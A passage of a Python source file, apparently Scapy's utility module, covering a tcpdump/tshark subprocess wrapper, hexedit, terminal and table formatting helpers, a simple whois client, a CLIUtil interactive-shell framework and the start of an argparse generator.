the subprocess.Popen object is returned\n    :param args:    arguments (as a list) to pass to tshark (example for tshark:\n        args=[\"-T\", \"json\"]).\n    :param prog:    program to use (defaults to tcpdump, will work with tshark)\n    :param quiet:   when set to True, the process stderr is discarded\n    :param use_tempfile: When set to True, always use a temporary file to store\n        packets.\n        When set to False, pipe packets through stdin.\n        When set to None (default), only use a temporary file with\n        ``tcpdump`` on OSX.\n    :param read_stdin_opts: When set, a list of arguments needed to capture\n        from stdin. Otherwise, attempts to guess.\n    :param linktype: A custom DLT value or name, to overwrite the default\n        values.\n    :param wait: If True (default), waits for the process to terminate before\n        returning to Scapy. If False, the process will be detached to the\n        background. If dump, getproc or getfd is True, these have the same\n        effect as ``wait=False``.\n\n    Examples::\n\n        >>> tcpdump([IP()/TCP(), IP()/UDP()])\n        reading from file -, link-type RAW (Raw IP)\n        16:46:00.474515 IP 127.0.0.1.20 > 127.0.0.1.80: Flags [S], seq 0, win 8192, length 0  # noqa: E501\n        16:46:00.475019 IP 127.0.0.1.53 > 127.0.0.1.53: [|domain]\n\n        >>> tcpdump([IP()/TCP(), IP()/UDP()], prog=conf.prog.tshark)\n          1   0.000000    127.0.0.1 -> 127.0.0.1    TCP 40 20->80 [SYN] Seq=0 Win=8192 Len=0  # noqa: E501\n          2   0.000459    127.0.0.1 -> 127.0.0.1    UDP 28 53->53 Len=0\n\n    To get a JSON representation of a tshark-parsed PacketList(), one can::\n\n        >>> import json, pprint\n        >>> json_data = json.load(tcpdump(IP(src=\"217.25.178.5\",\n        ...                                  dst=\"45.33.32.156\"),\n        ...                               prog=conf.prog.tshark,\n        ...                               args=[\"-T\", \"json\"],\n        ...                               getfd=True))\n        >>> pprint.pprint(json_data)\n        [{u'_index': u'packets-2016-12-23',\n          u'_score': None,\n          u'_source': {u'layers': {u'frame': {u'frame.cap_len': u'20',\n                                              u'frame.encap_type': u'7',\n        [...]\n                                              },\n                                   u'ip': {u'ip.addr': u'45.33.32.156',\n                                           u'ip.checksum': u'0x0000a20d',\n        [...]\n                                           u'ip.ttl': u'64',\n                                           u'ip.version': u'4'},\n                                   u'raw': u'Raw packet data'}},\n          u'_type': u'pcap_file'}]\n        >>> json_data[0]['_source']['layers']['ip']['ip.ttl']\n        u'64'\n    \"\"\"\n    getfd = getfd or getproc\n    if prog is None:\n        if not conf.prog.tcpdump:\n            raise Scapy_Exception(\n                \"tcpdump is not available\"\n            )\n        prog = [conf.prog.tcpdump]\n    elif isinstance(prog, str):\n        prog = [prog]\n    else:\n        raise ValueError(\"prog must be a string\")\n\n    if linktype is not None:\n        if isinstance(linktype, int):\n            # Guess name from value\n            try:\n                linktype_name = _guess_linktype_name(linktype)\n            except StopIteration:\n                linktype = -1\n        else:\n            # Guess value from name\n            if linktype.startswith(\"DLT_\"):\n                linktype = linktype[4:]\n            linktype_name = linktype\n            try:\n                linktype = _guess_linktype_value(linktype)\n            except KeyError:\n                linktype = -1\n        if linktype == -1:\n            raise ValueError(\n                \"Unknown linktype. Try passing its datalink name instead\"\n            )\n        prog += [\"-y\", linktype_name]\n\n    # Build Popen arguments\n    if args is None:\n        args = []\n    else:\n        # Make a copy of args\n        args = list(args)\n\n    if flt is not None:\n        # Check the validity of the filter\n        if linktype is None and isinstance(pktlist, str):\n            # linktype is unknown but required. Read it from file\n            with PcapReader(pktlist) as rd:\n                if isinstance(rd, PcapNgReader):\n                    # Get the linktype from the first packet\n                    try:\n                        _, metadata = rd._read_packet()\n                        linktype = metadata.linktype\n                        if OPENBSD and linktype == 228:\n                            linktype = DLT_RAW\n                    except EOFError:\n                        raise ValueError(\n                            \"Cannot get linktype from a PcapNg packet.\"\n                        )\n                else:\n                    linktype = rd.linktype\n        from scapy.arch.common import compile_filter\n        compile_filter(flt, linktype=linktype)\n        args.append(flt)\n\n    stdout = subprocess.PIPE if dump or getfd else None\n    stderr = open(os.devnull) if quiet else None\n    proc = None\n\n    if use_tempfile is None:\n        # Apple's tcpdump cannot read from stdin, see:\n        # http://apple.stackexchange.com/questions/152682/\n        use_tempfile = DARWIN and prog[0] == conf.prog.tcpdump\n\n    if read_stdin_opts is None:\n        if prog[0] == conf.prog.wireshark:\n            # Start capturing immediately (-k) from stdin (-i -)\n            read_stdin_opts = [\"-ki\", \"-\"]\n        elif prog[0] == conf.prog.tcpdump and not OPENBSD:\n            # Capture in packet-buffered mode (-U) from stdin (-r -)\n            read_stdin_opts = [\"-U\", \"-r\", \"-\"]\n        else:\n            read_stdin_opts = [\"-r\", \"-\"]\n    else:\n        # Make a copy of read_stdin_opts\n        read_stdin_opts = list(read_stdin_opts)\n\n    if pktlist is None:\n        # sniff\n        with ContextManagerSubprocess(prog[0], suppress=_suppress):\n            proc = subprocess.Popen(\n                prog + args,\n                stdout=stdout,\n                stderr=stderr,\n            )\n    elif isinstance(pktlist, str):\n        # file\n        with ContextManagerSubprocess(prog[0], suppress=_suppress):\n            proc = subprocess.Popen(\n                prog + [\"-r\", pktlist] + args,\n                stdout=stdout,\n                stderr=stderr,\n            )\n    elif use_tempfile:\n        tmpfile = get_temp_file(  # type: ignore\n            autoext=\".pcap\",\n            fd=True\n        )  # type: IO[bytes]\n        try:\n            tmpfile.writelines(\n                iter(lambda: pktlist.read(1048576), b\"\")  # type: ignore\n            )\n        except AttributeError:\n            pktlist = cast(\"_PacketIterable\", pktlist)\n            wrpcap(tmpfile, pktlist, linktype=linktype)\n        else:\n            tmpfile.close()\n        with ContextManagerSubprocess(prog[0], suppress=_suppress):\n            proc = subprocess.Popen(\n                prog + [\"-r\", tmpfile.name] + args,\n                stdout=stdout,\n                stderr=stderr,\n            )\n    else:\n        try:\n            pktlist.fileno()  # type: ignore\n            # pass the packet stream\n            with ContextManagerSubprocess(prog[0], suppress=_suppress):\n                proc = subprocess.Popen(\n                    prog + read_stdin_opts + args,\n                    stdin=pktlist,  # type: ignore\n                    stdout=stdout,\n                    stderr=stderr,\n                )\n        except (AttributeError, ValueError):\n            # write the packet stream to stdin\n            with ContextManagerSubprocess(prog[0], suppress=_suppress):\n                proc = subprocess.Popen(\n                    prog + read_stdin_opts + args,\n                    stdin=subprocess.PIPE,\n                    stdout=stdout,\n                    stderr=stderr,\n                )\n            if proc is None:\n                # An error has occurred\n                return\n            try:\n                proc.stdin.writelines(  # type: ignore\n                    iter(lambda: pktlist.read(1048576), b\"\")  # type: ignore\n                )\n            except AttributeError:\n                wrpcap(proc.stdin, pktlist, linktype=linktype)  # type: ignore\n            except UnboundLocalError:\n                # The error was handled by ContextManagerSubprocess\n                pass\n            else:\n                proc.stdin.close()  # type: ignore\n    if proc is None:\n        # An error has occurred\n        return\n    if dump:\n        data = b\"\".join(\n            iter(lambda: proc.stdout.read(1048576), b\"\")  # type: ignore\n        )\n        proc.terminate()\n        return data\n    if getproc:\n        return proc\n    if getfd:\n        return proc.stdout\n    if wait:\n        proc.wait()\n\n\n@conf.commands.register\ndef hexedit(pktlist):\n    # type: (_PacketIterable) -> PacketList\n    \"\"\"Run hexedit on a list of packets, then return the edited packets.\"\"\"\n    f = get_temp_file()\n    wrpcap(f, pktlist)\n    with ContextManagerSubprocess(conf.prog.hexedit):\n        subprocess.call([conf.prog.hexedit, f])\n    rpktlist = rdpcap(f)\n    os.unlink(f)\n    return rpktlist\n\n\ndef get_terminal_width():\n    # type: () -> Optional[int]\n    \"\"\"Get terminal width (number of characters) if in a window.\n\n    Notice: this will try several methods in order to\n    support as many terminals and OS as possible.\n    \"\"\"\n    sizex = shutil.get_terminal_size(fallback=(0, 0))[0]\n    if sizex != 0:\n        return sizex\n    # Backups\n    if WINDOWS:\n        from ctypes import windll, create_string_buffer\n        # http://code.activestate.com/recipes/440694-determine-size-of-console-window-on-windows/\n        h = windll.kernel32.GetStdHandle(-12)\n        csbi = create_string_buffer(22)\n        res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)\n        if res:\n            (bufx, bufy, curx, cury, wattr,\n             left, top, right, bottom, maxx, maxy) = struct.unpack(\"hhhhHhhhhhh\", csbi.raw)  # noqa: E501\n            sizex = right - left + 1\n            # sizey = bottom - top + 1\n            return sizex\n        return sizex\n    # We have various methods\n    # COLUMNS is set on some terminals\n    try:\n        sizex = int(os.environ['COLUMNS'])\n    except Exception:\n        pass\n    if sizex:\n        return sizex\n    # We can query TIOCGWINSZ\n    try:\n        import fcntl\n        import termios\n        s = struct.pack('HHHH', 0, 0, 0, 0)\n        x = fcntl.ioctl(1, termios.TIOCGWINSZ, s)\n        sizex = struct.unpack('HHHH', x)[1]\n    except (IOError, ModuleNotFoundError):\n        # If everything failed, return default terminal size\n        sizex = 79\n    return sizex\n\n\ndef pretty_list(rtlst,  # type: List[Tuple[Union[str, List[str]], ...]]\n                header,  # type: List[Tuple[str, ...]]\n                sortBy=0,  # type: Optional[int]\n                borders=False,  # type: bool\n                ):\n    # type: (...) -> str\n    \"\"\"\n    Pretty list to fit the terminal, and add header.\n\n    :param rtlst: a list of tuples. each tuple contains a value which can\n        be either a string or a list of string.\n    :param sortBy: the column id (starting with 0) which will be used for\n        ordering\n    :param borders: whether to put borders on the table or not\n    \"\"\"\n    if borders:\n        _space = \"|\"\n    else:\n        _space = \"  \"\n    cols = len(header[0])\n    # Windows has a fat terminal border\n    _spacelen = len(_space) * (cols - 1) + int(WINDOWS)\n    _croped = False\n    if sortBy is not None:\n        # Sort correctly\n        rtlst.sort(key=lambda x: x[sortBy])\n    # Resolve multi-values\n    for i, line in enumerate(rtlst):\n        ids = []  # type: List[int]\n        values = []  # type: List[Union[str, List[str]]]\n        for j, val in enumerate(line):\n            if isinstance(val, list):\n                ids.append(j)\n                values.append(val or \" \")\n        if values:\n            del rtlst[i]\n            k = 0\n            for ex_vals in zip_longest(*values, fillvalue=\" \"):\n                if k:\n                    extra_line = [\" \"] * cols\n                else:\n                    extra_line = list(line)  # type: ignore\n                for j, h in enumerate(ids):\n                    extra_line[h] = ex_vals[j]\n                rtlst.insert(i + k, tuple(extra_line))\n                k += 1\n    rtslst = cast(List[Tuple[str, ...]], rtlst)\n    # Append tag\n    rtslst = header + rtslst\n    # Detect column's width\n    colwidth = [max(len(y) for y in x) for x in zip(*rtslst)]\n    # Make text fit in box (if required)\n    width = get_terminal_width()\n    if conf.auto_crop_tables and width:\n        width = width - _spacelen\n        while sum(colwidth) > width:\n            _croped = True\n            # Needs to be cropped\n            # Get the longest row\n            i = colwidth.index(max(colwidth))\n            # Get all elements of this row\n            row = [len(x[i]) for x in rtslst]\n            # Get biggest element of this row: biggest of the array\n            j = row.index(max(row))\n            # Re-build column tuple with the edited element\n            t = list(rtslst[j])\n            t[i] = t[i][:-2] + \"_\"\n            rtslst[j] = tuple(t)\n            # Update max size\n            row[j] = len(t[i])\n            colwidth[i] = max(row)\n    if _croped:\n        log_runtime.info(\"Table cropped to fit the terminal (conf.auto_crop_tables==True)\")  # noqa: E501\n    # Generate padding scheme\n    fmt = _space.join([\"%%-%ds\" % x for x in colwidth])\n    # Append separation line if needed\n    if borders:\n        rtslst.insert(1, tuple(\"-\" * x for x in colwidth))\n    # Compile\n    return \"\\n\".join(fmt % x for x in rtslst)\n\n\ndef human_size(x, fmt=\".1f\"):\n    # type: (int, str) -> str\n    \"\"\"\n    Convert a size in octets to a human string representation\n    \"\"\"\n    units = ['K', 'M', 'G', 'T', 'P', 'E']\n    if not x:\n        return \"0B\"\n    i = int(math.log(x, 2**10))\n    if i and i < len(units):\n        return format(x / 2**(10 * i), fmt) + units[i - 1]\n    return str(x) + \"B\"\n\n\ndef __make_table(\n    yfmtfunc,  # type: Callable[[int], str]\n    fmtfunc,  # type: Callable[[int], str]\n    endline,  # type: str\n    data,  # type: List[Tuple[Packet, Packet]]\n    fxyz,  # type: Callable[[Packet, Packet], Tuple[Any, Any, Any]]\n    sortx=None,  # type: Optional[Callable[[str], Tuple[Any, ...]]]\n    sorty=None,  # type: Optional[Callable[[str], Tuple[Any, ...]]]\n    seplinefunc=None,  # type: Optional[Callable[[int, List[int]], str]]\n    dump=False  # type: bool\n):\n    # type: (...) -> Optional[str]\n    \"\"\"Core function of the make_table suite, which generates the table\"\"\"\n    vx = {}  # type: Dict[str, int]\n    vy = {}  # type: Dict[str, Optional[int]]\n    vz = {}  # type: Dict[Tuple[str, str], str]\n    vxf = {}  # type: Dict[str, str]\n\n    tmp_len = 0\n    for e in data:\n        xx, yy, zz = [str(s) for s in fxyz(*e)]\n        tmp_len = max(len(yy), tmp_len)\n        vx[xx] = max(vx.get(xx, 0), len(xx), len(zz))\n        vy[yy] = None\n        vz[(xx, yy)] = zz\n\n    vxk = list(vx)\n    vyk = list(vy)\n    if sortx:\n        vxk.sort(key=sortx)\n    else:\n        try:\n            vxk.sort(key=int)\n        except Exception:\n            try:\n                vxk.sort(key=atol)\n            except Exception:\n                vxk.sort()\n    if sorty:\n        vyk.sort(key=sorty)\n    else:\n        try:\n            vyk.sort(key=int)\n        except Exception:\n            try:\n                vyk.sort(key=atol)\n            except Exception:\n                vyk.sort()\n\n    s = \"\"\n    if seplinefunc:\n        sepline = seplinefunc(tmp_len, [vx[x] for x in vxk])\n        s += sepline + \"\\n\"\n\n    fmt = yfmtfunc(tmp_len)\n    s += fmt % \"\"\n    s += ' '\n    for x in vxk:\n        vxf[x] = fmtfunc(vx[x])\n        s += vxf[x] % x\n        s += ' '\n    s += endline + \"\\n\"\n    if seplinefunc:\n        s += sepline + \"\\n\"\n    for y in vyk:\n        s += fmt % y\n        s += ' '\n        for x in vxk:\n            s += vxf[x] % vz.get((x, y), \"-\")\n            s += ' '\n        s += endline + \"\\n\"\n    if seplinefunc:\n        s += sepline + \"\\n\"\n\n    if dump:\n        return s\n    else:\n        print(s, end=\"\")\n        return None\n\n\ndef make_table(*args, **kargs):\n    # type: (*Any, **Any) -> Optional[Any]\n    return __make_table(\n        lambda l: \"%%-%is\" % l,\n        lambda l: \"%%-%is\" % l,\n        \"\",\n        *args,\n        **kargs\n    )\n\n\ndef make_lined_table(*args, **kargs):\n    # type: (*Any, **Any) -> Optional[str]\n    return __make_table(  # type: ignore\n        lambda l: \"%%-%is |\" % l,\n        lambda l: \"%%-%is |\" % l,\n        \"\",\n        *args,\n        seplinefunc=lambda a, x: \"+\".join(\n            '-' * (y + 2) for y in [a - 1] + x + [-2]\n        ),\n        **kargs\n    )\n\n\ndef make_tex_table(*args, **kargs):\n    # type: (*Any, **Any) -> Optional[str]\n    return __make_table(  # type: ignore\n        lambda l: \"%s\",\n        lambda l: \"& %s\",\n        \"\\\\\\\\\",\n        *args,\n        seplinefunc=lambda a, x: \"\\\\hline\",\n        **kargs\n    )\n\n####################\n#   WHOIS CLIENT   #\n####################\n\n\ndef whois(ip_address):\n    # type: (str) -> bytes\n    \"\"\"Whois client for Python\"\"\"\n    whois_ip = str(ip_address)\n    try:\n        query = socket.gethostbyname(whois_ip)\n    except Exception:\n        query = whois_ip\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((\"whois.ripe.net\", 43))\n    s.send(query.encode(\"utf8\") + b\"\\r\\n\")\n    answer = b\"\"\n    while True:\n        d = s.recv(4096)\n        answer += d\n        if not d:\n            break\n    s.close()\n    ignore_tag = b\"remarks:\"\n    # ignore all lines starting with the ignore_tag\n    lines = [line for line in answer.split(b\"\\n\") if not line or (line and not line.startswith(ignore_tag))]  # noqa: E501\n    # remove empty lines at the bottom\n    for i in range(1, len(lines)):\n        if not lines[-i].strip():\n            del lines[-i]\n        else:\n            break\n    return b\"\\n\".join(lines[3:])\n\n####################\n#     CLI utils    #\n####################\n\n\nclass _CLIUtilMetaclass(type):\n    class TYPE(enum.Enum):\n        COMMAND = 0\n        OUTPUT = 1\n        COMPLETE = 2\n\n    def __new__(cls,  # type: Type[_CLIUtilMetaclass]\n                name,  # type: str\n                bases,  # type: Tuple[type, ...]\n                dct  # type: Dict[str, Any]\n                ):\n        # type: (...) -> Type[CLIUtil]\n        dct[\"commands\"] = {\n            x.__name__: x\n            for x in dct.values()\n            if getattr(x, \"cliutil_type\", None) == _CLIUtilMetaclass.TYPE.COMMAND\n        }\n        dct[\"commands_output\"] = {\n            x.cliutil_ref.__name__: x\n            for x in dct.values()\n            if getattr(x, \"cliutil_type\", None) == _CLIUtilMetaclass.TYPE.OUTPUT\n        }\n        dct[\"commands_complete\"] = {\n            x.cliutil_ref.__name__: x\n            for x in dct.values()\n            if getattr(x, \"cliutil_type\", None) == _CLIUtilMetaclass.TYPE.COMPLETE\n        }\n        newcls = cast(Type['CLIUtil'], type.__new__(cls, name, bases, dct))\n        return newcls\n\n\nclass CLIUtil(metaclass=_CLIUtilMetaclass):\n    \"\"\"\n    Provides a Util class to easily create simple CLI tools in Scapy,\n    that can still be used as an API.\n\n    Doc:\n        - override the ps1() function\n        - register commands with the @CLIUtil.addcomment decorator\n        - call the loop() function when ready\n    \"\"\"\n\n    def _depcheck(self) -> None:\n        \"\"\"\n        Check that all dependencies are installed\n        \"\"\"\n        try:\n            import prompt_toolkit  # noqa: F401\n        except ImportError:\n            # okay we lie but prompt_toolkit is a dependency...\n            raise ImportError(\"You need to have IPython installed to use the CLI\")\n\n    # Okay let's do nice code\n    commands: Dict[str, Callable[..., Any]] = {}\n    # print output of command\n    commands_output: Dict[str, Callable[..., str]] = {}\n    # provides completion to command\n    commands_complete: Dict[str, Callable[..., List[str]]] = {}\n\n    def __init__(self, cli: bool = True, debug: bool = False) -> None:\n        \"\"\"\n        DEV: overwrite\n        \"\"\"\n        if cli:\n            self._depcheck()\n            self.loop(debug=debug)\n\n    @staticmethod\n    def _inspectkwargs(func: DecoratorCallable) -> None:\n        \"\"\"\n        Internal function to parse arguments from the kwargs of the functions\n        \"\"\"\n        func._flagnames = [  # type: ignore\n            x.name for x in\n            inspect.signature(func).parameters.values()\n            if x.kind == inspect.Parameter.KEYWORD_ONLY\n        ]\n        func._flags = [  # type: ignore\n            (\"-%s\" % x) if len(x) == 1 else (\"--%s\" % x)\n            for x in func._flagnames  # type: ignore\n        ]\n\n    @staticmethod\n    def _parsekwargs(\n        func: DecoratorCallable,\n        args: List[str]\n    ) -> Tuple[List[str], Dict[str, Literal[True]]]:\n        \"\"\"\n        Internal function to parse CLI arguments of a function.\n        \"\"\"\n        kwargs: Dict[str, Literal[True]] = {}\n        if func._flags:  # type: ignore\n            i = 0\n            for arg in args:\n                if arg in func._flags:  # type: ignore\n                    i += 1\n                    kwargs[func._flagnames[func._flags.index(arg)]] = True  # type: ignore  # noqa: E501\n                    continue\n                break\n            args = args[i:]\n        return args, kwargs\n\n    @classmethod\n    def _parseallargs(\n        cls,\n        func: DecoratorCallable,\n        cmd: str, args: List[str]\n    ) -> Tuple[List[str], Dict[str, Literal[True]], Dict[str, Literal[True]]]:\n        \"\"\"\n        Internal function to parse CLI arguments of both the function\n        and its output function.\n        \"\"\"\n        args, kwargs = cls._parsekwargs(func, args)\n        outkwargs: Dict[str, Literal[True]] = {}\n        if cmd in cls.commands_output:\n            args, outkwargs = cls._parsekwargs(cls.commands_output[cmd], args)\n        return args, kwargs, outkwargs\n\n    @classmethod\n    def addcommand(\n        cls,\n        mono: bool = False,\n        globsupport: bool = False,\n    ) -> Callable[[DecoratorCallable], DecoratorCallable]:\n        \"\"\"\n        Decorator to register a command\n\n        :param mono: if True, the command takes a single argument even\n            if there are spaces.\n        \"\"\"\n        def func(cmd: DecoratorCallable) -> DecoratorCallable:\n            cmd.cliutil_type = _CLIUtilMetaclass.TYPE.COMMAND  # type: ignore\n            cmd._mono = mono  # type: ignore\n            cmd._globsupport = globsupport  # type: ignore\n            cls._inspectkwargs(cmd)\n            if cmd._globsupport and not cmd._mono:  # type: ignore\n                raise ValueError(\"Cannot use globsupport without mono.\")\n            return cmd\n        return func\n\n    @classmethod\n    def addoutput(cls, cmd: DecoratorCallable) -> Callable[[DecoratorCallable], DecoratorCallable]:  # noqa: E501\n        \"\"\"\n        Decorator to register a command output processor\n        \"\"\"\n        def func(processor: DecoratorCallable) -> DecoratorCallable:\n            processor.cliutil_type = _CLIUtilMetaclass.TYPE.OUTPUT  # type: ignore\n            processor.cliutil_ref = cmd  # type: ignore\n            cls._inspectkwargs(processor)\n            return processor\n        return func\n\n    @classmethod\n    def addcomplete(\n        cls,\n        cmd: DecoratorCallable,\n    ) -> Callable[[DecoratorCallable], DecoratorCallable]:\n        \"\"\"\n        Decorator to register a command completor\n        \"\"\"\n        def func(processor: DecoratorCallable) -> DecoratorCallable:\n            processor.cliutil_type = _CLIUtilMetaclass.TYPE.COMPLETE  # type: ignore\n            processor.cliutil_ref = cmd  # type: ignore\n            processor._mono = cmd._mono  # type: ignore\n            return processor\n        return func\n\n    def ps1(self) -> str:\n        \"\"\"\n        Return the PS1 of the shell\n        \"\"\"\n        return \"> \"\n\n    def close(self) -> None:\n        \"\"\"\n        Function called on exiting\n        \"\"\"\n        print(\"Exited\")\n\n    def help(self, cmd: Optional[str] = None) -> None:\n        \"\"\"\n        Return the help related to this CLI util\n        \"\"\"\n        def _args(func: Any) -> str:\n            flags = func._flags.copy()\n            if func.__name__ in self.commands_output:\n                flags += self.commands_output[func.__name__]._flags  # type: ignore\n            return \" %s%s\" % (\n                (\n                    \"%s \" % \" \".join(\"[%s]\" % x for x in flags)\n                    if flags else \"\"\n                ),\n                \" \".join(\n                    \"<%s%s>\" % (\n                        x.name,\n                        \"?\" if\n                        (x.default is None or x.default != inspect.Parameter.empty)\n                        else \"\"\n                    )\n                    for x in list(inspect.signature(func).parameters.values())[1:]\n                    if x.name not in func._flagnames and x.name[0] != \"_\"\n                )\n            )\n\n        if cmd:\n            if cmd not in self.commands:\n                print(\"Unknown command '%s'\" % cmd)\n                return\n            # help for one command\n            func = self.commands[cmd]\n            print(\"%s%s: %s\" % (\n                cmd,\n                _args(func),\n                func.__doc__ and func.__doc__.strip()\n            ))\n        else:\n            header = \"│ %s - Help │\" % self.__class__.__name__\n            print(\"┌\" + \"─\" * (len(header) - 2) + \"┐\")\n            print(header)\n            print(\"└\" + \"─\" * (len(header) - 2) + \"┘\")\n            print(\n                pretty_list(\n                    [\n                        (\n                            cmd,\n                            _args(func),\n                            func.__doc__ and func.__doc__.strip().split(\"\\n\")[0] or \"\"\n                        )\n                        for cmd, func in self.commands.items()\n                    ],\n                    [(\"Command\", \"Arguments\", \"Description\")]\n                )\n            )\n\n    def _split_cmd(self, cmd: str) -> Tuple[List[str], List[int]]:\n        \"\"\"\n        Split the command in multiple arguments\n        \"\"\"\n        quoted = None\n        queue = [\"\"]\n        offsets = [0]\n        for i, c in enumerate(cmd):\n            if c == \"'\" or c == '\"':\n                # This is a quote.\n                if quoted is not None and quoted == c:\n                    # We are closing the last quote\n                    quoted = None\n                elif quoted:\n                    queue[-1] += c\n                else:\n                    quoted = c\n            elif c == \" \":\n                # This is a space.\n                if quoted is not None:\n                    # We're in a quote, append it\n                    queue[-1] += c\n                elif queue[-1]:\n                    # Not in a quote, this splits the argument.\n                    queue += [\"\"]\n                    offsets.append(i)\n                else:\n                    # Padding space, advance offset\n                    offsets[-1] += 1\n            else:\n                # This is a char\n                queue[-1] += c\n        return queue, offsets\n\n    def _completer(self) -> 'prompt_toolkit.completion.Completer':\n        \"\"\"\n        Returns a prompt_toolkit custom completer\n        \"\"\"\n        from prompt_toolkit.completion import Completer, Completion\n\n        class CLICompleter(Completer):\n            def get_completions(cmpl, document, complete_event):  # type: ignore\n                if not complete_event.completion_requested:\n                    # Only activate when the user does <TAB>\n                    return\n                parts, offsets = self._split_cmd(document.text)\n                cmd = parts[0].lower()\n                if cmd not in self.commands:\n                    # We are trying to complete the command\n                    for possible_cmd in (x for x in self.commands if x.startswith(cmd)):\n                        yield Completion(possible_cmd, start_position=-len(cmd))\n                else:\n                    # We are trying to complete the command content\n                    if len(parts) == 1:\n                        return\n                    args, _, _ = self._parseallargs(self.commands[cmd], cmd, parts[1:])\n                    if cmd in self.commands_complete:\n                        completer = self.commands_complete[cmd]\n                        # If the completion is 'mono', it's a single argument with\n                        # spaces. Else we pass the list of arguments to complete,\n                        # and we only complete the last argument.\n                        if completer._mono:  # type: ignore\n                            arg = \" \".join(args)\n                            completions = completer(self, arg)\n                            startpos = offsets[1]\n                        else:\n                            completions = completer(self, args)\n                            startpos = offsets[-1]\n\n                        # For each possible completion\n                        for possible_arg in completions:\n                            # If there's a space in the completion, and we're\n                            # not in mono mode, add quotes.\n                            if \" \" in possible_arg and not completer._mono:  # type: ignore  # noqa: E501\n                                possible_arg = '\"%s\"' % possible_arg\n\n                            yield Completion(\n                                possible_arg,\n                                start_position=startpos - len(document.text) + 1\n                            )\n                return\n        return CLICompleter()\n\n    def loop(self, debug: int = 0) -> None:\n        \"\"\"\n        Main command handling loop\n        \"\"\"\n        from prompt_toolkit import PromptSession\n        session = PromptSession(completer=self._completer())\n\n        while True:\n            try:\n                cmd = session.prompt(self.ps1()).strip()\n            except KeyboardInterrupt:\n                continue\n            except EOFError:\n                self.close()\n                break\n            parts, _ = self._split_cmd(cmd)\n            args = parts[1:]\n            cmd = parts[0].strip().lower()\n            if not cmd:\n                continue\n            if cmd in [\"help\", \"h\", \"?\"]:\n                self.help(\" \".join(args))\n                continue\n            if cmd in \"exit\":\n                break\n            if cmd not in self.commands:\n                print(\"Unknown command. Type help or ?\")\n            else:\n                # check the number of arguments\n                func = self.commands[cmd]\n                args, kwargs, outkwargs = self._parseallargs(func, cmd, args)\n                if func._mono:  # type: ignore\n                    args = [\" \".join(args)]\n                    # if globsupport is set, we might need to do several calls\n                    if func._globsupport and \"*\" in args[0]:  # type: ignore\n                        if args[0].count(\"*\") > 1:\n                            print(\"More than 1 glob star (*) is currently unsupported.\")\n                            continue\n                        before, after = args[0].split(\"*\", 1)\n                        reg = re.compile(re.escape(before) + r\".*\" + after)\n                        calls = [\n                            [x] for x in\n                            self.commands_complete[cmd](self, before)\n                            if reg.match(x)\n                        ]\n                    else:\n                        calls = [args]\n                else:\n                    calls = [args]\n                # now iterate if required, call the function and print its output\n                res = None\n                for args in calls:\n                    try:\n                        res = func(self, *args, **kwargs)\n                    except TypeError:\n                        print(\"Bad number of arguments !\")\n                        self.help(cmd=cmd)\n                        continue\n                    except Exception as ex:\n                        print(\"Command failed with error: %s\" % ex)\n                        if debug:\n                            traceback.print_exception(ex)\n                    try:\n                        if res and cmd in self.commands_output:\n                            self.commands_output[cmd](self, res, **outkwargs)\n                    except Exception as ex:\n                        print(\"Output processor failed with error: %s\" % ex)\n\n\ndef AutoArgparse(\n    func: DecoratorCallable,\n    _parseonly: bool = False,\n) -> Optional[Tuple[List[str], List[str]]]:\n    \"\"\"\n    Generate an Argparse call from a function, then call this function.\n\n    Notes:\n\n    - for the arguments to have a description, the sphinx docstring format\n      must be used. See\n      https://sphinx-rtd-tutorial.readthedocs.io/en/latest/docstrings.html\n    - the arguments must be typed in Python (we ignore Sphinx-specific types)\n      untyped arguments are ignored.\n    - only types that would be supported by argparse are supported. The others\n      are omitted.\n    \"\"\"\n    argsdoc = {}\n    if func.__doc__:\n        # Sphinx doc format parser\n        m = re.match(\n            r\"((?:.|\\n)*?)(\\n\\s*:(?:param|type|raises|return|rtype)(?:.|\\n)*)\",\n            func.__doc__.strip(),\n        )\n        if not m:\n            desc = func.__doc__.strip()\n        else:\n            desc = m.group(1)\n            sphinxargs = re.findall(\n                r\"\\s*:(param|type|raises|return|rtype)\\s*([^:]*):(.*)\",\n                m.group(2),\n            )\n            for argtype, argparam, argdesc in sphinxargs:\n                argparam = argparam.strip()\n                argdesc = argdesc.strip()\n                if argtype == \"param\":\n                    if not argparam:\n                        raise ValueError(\":param: without a name !\")\n                    argsdoc[argparam] = argdesc\n    else:\n        desc = \"\"\n\n    # Process the parameters\n    positional = []\n    noargument = []\n    hexarguments = []\n    parameters = {}\n    for param in inspect.signature(func).parameters.values():\n        if not param.annotation:\n            continue\n        noarg = False\n        parname = param.name.replace(\"_\", \"-\")\n        paramkwargs: Dict[str, Any] = {}\n        if param.annotation is bool:\n            if param.default is True:\n                parname = \"no-\" + parname\n                paramkwargs[\"action\"] = \"store_false\"\n            else:\n                paramkwargs[\"action\"] = \"store_true\"\n            noarg = True\n        elif param.annotation is bytes:\n            paramkwargs[\"type\"] = str\n            hexarguments.append(parname)\n        elif param.annotation in [str, int, float]:\n            paramkwargs[\"type\"] = param.annotation\n        elif (\n            isinstance(param.annotation, type) and\n            issubclass(param.annotation, enum.Enum)\n        ):\n            paramkwargs[\"type\"] = param.annotation\n            paramkwargs[\"choices\"] = list(param.annotation)\n        else:\n            continue\n        if param.default != inspect.Parameter.empty:\n            if param.kind == inspect.Parameter.POSITIONAL_ONLY:\n                positional.append(param.name)\n                paramkwargs[\"nargs\"] = '?'\n            else:\n                parname = \"--\" + parname\n            paramkwargs[\"default\"] = param.default\n        else:\n            positional.append(param.name)\n        if param.kind == inspect.Parameter.VAR_POSITIONAL:\n            paramkwargs[\"action\"] = \"append\"\n        if param.name in argsdoc:\n            paramkwargs[\"help\"] = argsdoc[param.name]\n            if param.annotation is bytes:\n                paramkwargs[\"help\"] = \"(hex) \" + paramkwargs[\"help\"]\n            elif param.annotation is bool:\n                paramkwargs[\"help\"] = \"(flag) \" + paramkwargs[\"help\"]\n            else:\n                paramkwargs[\"help\"] = (\n                    \"(%s) \" % param.annotation.__name__ + paramkwargs[\"help\"]\n                )\n        # Add to the parameter list\n        parameters[parname] = paramkwargs\n        if noarg:\n            noargument.append(parname)\n\n    if _parseonly:\n        # An internal mode used to generate bash autocompletion, do it then exit.\n        return (\n            [x for x in parameters if x not in positional] + [\"--help\"],\n            [x for x in noargument if x not in positional] + [\"--help\"],\n        )\n\n    # Now build the argparse.ArgumentParser\n    parser = argparse.ArgumentParser(\n        prog=func.__name__,\n        